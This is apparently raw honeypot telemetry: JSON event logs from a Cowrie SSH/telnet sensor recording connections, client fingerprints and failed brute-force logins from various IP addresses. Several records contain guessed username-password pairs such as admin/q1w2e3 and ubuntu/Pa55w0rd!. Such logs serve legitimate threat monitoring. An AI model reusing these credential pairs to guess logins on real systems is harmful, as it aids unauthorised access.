{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3","message":"login attempt [admin/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:31.995077Z","src_ip":"202.125.94.71","session":"b805d0c788bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33934,"dst_ip":"159.203.135.109","dst_port":23,"session":"7010912af388","protocol":"telnet","message":"New connection: 161.97.105.174:33934 (159.203.135.109:23) [session: 7010912af388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:33.241702Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:33.254554Z","src_ip":"202.125.94.71","session":"b805d0c788bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02311038970947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:35.400082Z","src_ip":"161.97.105.174","session":"ab497358907e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48964,"dst_ip":"159.203.135.109","dst_port":23,"session":"883f3332d8eb","protocol":"telnet","message":"New connection: 161.97.105.174:48964 (159.203.135.109:23) [session: 883f3332d8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:40.110823Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48966,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d44d2e0cdeb","protocol":"telnet","message":"New connection: 161.97.105.174:48966 (159.203.135.109:23) [session: 5d44d2e0cdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:40.161894Z"}
{"eventid":"cowrie.session.closed","duration":33.339285135269165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:40.507349Z","src_ip":"161.97.105.174","session":"fe518270a0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48980,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0059dd5eefc","protocol":"telnet","message":"New connection: 161.97.105.174:48980 (159.203.135.109:23) [session: b0059dd5eefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:43.575236Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53a6b7cfcf4","protocol":"telnet","message":"New connection: 161.97.105.174:48986 (159.203.135.109:23) [session: e53a6b7cfcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:46.454024Z"}
{"eventid":"cowrie.session.closed","duration":34.721871852874756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:47.395040Z","src_ip":"161.97.105.174","session":"eab967ddebc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6811740398407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:52.411082Z","src_ip":"161.97.105.174","session":"7f4ce05f1b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17751479148865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:52.839164Z","src_ip":"161.97.105.174","session":"09a1868d66f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50490,"dst_ip":"159.203.135.109","dst_port":23,"session":"6403816d494c","protocol":"telnet","message":"New connection: 161.97.105.174:50490 (159.203.135.109:23) [session: 6403816d494c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:53.685301Z"}
{"eventid":"cowrie.session.closed","duration":36.49390006065369,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:54.726956Z","src_ip":"161.97.105.174","session":"7bd1820c6724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"b31a56f4c7a8","protocol":"telnet","message":"New connection: 161.97.105.174:50496 (159.203.135.109:23) [session: b31a56f4c7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:55.549442Z"}
{"eventid":"cowrie.session.closed","duration":31.67940640449524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:55.758217Z","src_ip":"161.97.105.174","session":"9aafc9db978b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50504,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72e7ceb27f5","protocol":"telnet","message":"New connection: 161.97.105.174:50504 (159.203.135.109:23) [session: b72e7ceb27f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:58.181959Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fcbe4bf9ca","protocol":"telnet","message":"New connection: 161.97.105.174:54500 (159.203.135.109:23) [session: c0fcbe4bf9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:02.891738Z"}
{"eventid":"cowrie.session.closed","duration":32.94058108329773,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:03.627604Z","src_ip":"161.97.105.174","session":"2b1f04e74031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54504,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d65438a6666","protocol":"telnet","message":"New connection: 161.97.105.174:54504 (159.203.135.109:23) [session: 9d65438a6666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:04.578395Z"}
{"eventid":"cowrie.session.closed","duration":31.451793432235718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:04.693388Z","src_ip":"161.97.105.174","session":"7010912af388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01296615600586,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:04.843786Z","src_ip":"161.97.105.174","session":"eae44694378a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":48698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7532c50b2b6","protocol":"ssh","message":"New connection: 154.219.100.220:48698 (10.17.0.5:22) [session: b7532c50b2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:08.637134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:08.641344Z","src_ip":"154.219.100.220","session":"b7532c50b2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c34468ebda","protocol":"telnet","message":"New connection: 161.97.105.174:38262 (159.203.135.109:23) [session: d1c34468ebda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:08.741630Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:08.846039Z","src_ip":"154.219.100.220","session":"b7532c50b2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa55w0rd!","message":"login attempt [ubuntu/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:09.697560Z","src_ip":"154.219.100.220","session":"b7532c50b2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60202,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c4bf358ef9","protocol":"telnet","message":"New connection: 174.138.46.234:60202 (159.203.135.109:23) [session: 90c4bf358ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:10.131816Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:10.907945Z","src_ip":"154.219.100.220","session":"b7532c50b2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38264,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e348171e226","protocol":"telnet","message":"New connection: 161.97.105.174:38264 (159.203.135.109:23) [session: 7e348171e226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:11.168100Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38276,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8fc6dd5e159","protocol":"telnet","message":"New connection: 161.97.105.174:38276 (159.203.135.109:23) [session: c8fc6dd5e159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:12.899182Z"}
{"eventid":"cowrie.session.closed","duration":33.9182665348053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:14.028980Z","src_ip":"161.97.105.174","session":"883f3332d8eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.231953620910645,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:14.393770Z","src_ip":"161.97.105.174","session":"5d44d2e0cdeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38284,"dst_ip":"159.203.135.109","dst_port":23,"session":"919cab63dfd4","protocol":"telnet","message":"New connection: 161.97.105.174:38284 (159.203.135.109:23) [session: 919cab63dfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:14.425509Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38296,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abb8ae07e9a","protocol":"telnet","message":"New connection: 161.97.105.174:38296 (159.203.135.109:23) [session: 9abb8ae07e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:14.920623Z"}
{"eventid":"cowrie.session.closed","duration":6.116675138473511,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:16.248395Z","src_ip":"174.138.46.234","session":"90c4bf358ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38306,"dst_ip":"159.203.135.109","dst_port":23,"session":"26896418b5df","protocol":"telnet","message":"New connection: 161.97.105.174:38306 (159.203.135.109:23) [session: 26896418b5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:16.749586Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":51038,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d1584f6cabb","protocol":"ssh","message":"New connection: 200.187.71.114:51038 (10.17.0.5:22) [session: 6d1584f6cabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:17.102787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:17.107545Z","src_ip":"200.187.71.114","session":"6d1584f6cabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:17.221918Z","src_ip":"200.187.71.114","session":"6d1584f6cabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1","message":"login attempt [user/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:17.711644Z","src_ip":"200.187.71.114","session":"6d1584f6cabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:18.830972Z","src_ip":"200.187.71.114","session":"6d1584f6cabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":33862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b5db0a1466","protocol":"ssh","message":"New connection: 152.32.130.174:33862 (10.17.0.5:22) [session: c3b5db0a1466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:19.133213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:19.137410Z","src_ip":"152.32.130.174","session":"c3b5db0a1466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.77929091453552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:19.233229Z","src_ip":"161.97.105.174","session":"e53a6b7cfcf4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:19.354038Z","src_ip":"152.32.130.174","session":"c3b5db0a1466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest123","message":"login attempt [test/testtest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:20.253152Z","src_ip":"152.32.130.174","session":"c3b5db0a1466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.707117319107056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:20.282237Z","src_ip":"161.97.105.174","session":"b0059dd5eefc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.185.159.30","src_port":15863,"dst_ip":"159.203.135.109","dst_port":23,"session":"10827f60f550","protocol":"telnet","message":"New connection: 197.185.159.30:15863 (159.203.135.109:23) [session: 10827f60f550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:20.919924Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55224,"dst_ip":"159.203.135.109","dst_port":23,"session":"b192ac1a0f3f","protocol":"telnet","message":"New connection: 161.97.105.174:55224 (159.203.135.109:23) [session: b192ac1a0f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:20.986055Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:21.475717Z","src_ip":"152.32.130.174","session":"c3b5db0a1466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55236,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d71f749e7af","protocol":"telnet","message":"New connection: 161.97.105.174:55236 (159.203.135.109:23) [session: 2d71f749e7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:25.465975Z"}
{"eventid":"cowrie.session.closed","duration":33.69658374786377,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:29.245889Z","src_ip":"161.97.105.174","session":"b31a56f4c7a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9652db12ab47","protocol":"telnet","message":"New connection: 161.97.105.174:44148 (159.203.135.109:23) [session: 9652db12ab47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:29.579382Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":45838,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a2f077897d","protocol":"ssh","message":"New connection: 202.125.94.71:45838 (10.17.0.5:22) [session: 30a2f077897d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:31.419285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:31.423688Z","src_ip":"202.125.94.71","session":"30a2f077897d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:31.682244Z","src_ip":"202.125.94.71","session":"30a2f077897d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"P@ssw0rd","message":"login attempt [testuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:32.749703Z","src_ip":"202.125.94.71","session":"30a2f077897d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.091003179550171,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:33.010834Z","src_ip":"197.185.159.30","session":"10827f60f550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.08910799026489,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:33.774317Z","src_ip":"161.97.105.174","session":"6403816d494c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:34.011806Z","src_ip":"202.125.94.71","session":"30a2f077897d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44154,"dst_ip":"159.203.135.109","dst_port":23,"session":"b25d3cca9864","protocol":"telnet","message":"New connection: 161.97.105.174:44154 (159.203.135.109:23) [session: b25d3cca9864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:17:34.329921Z"}
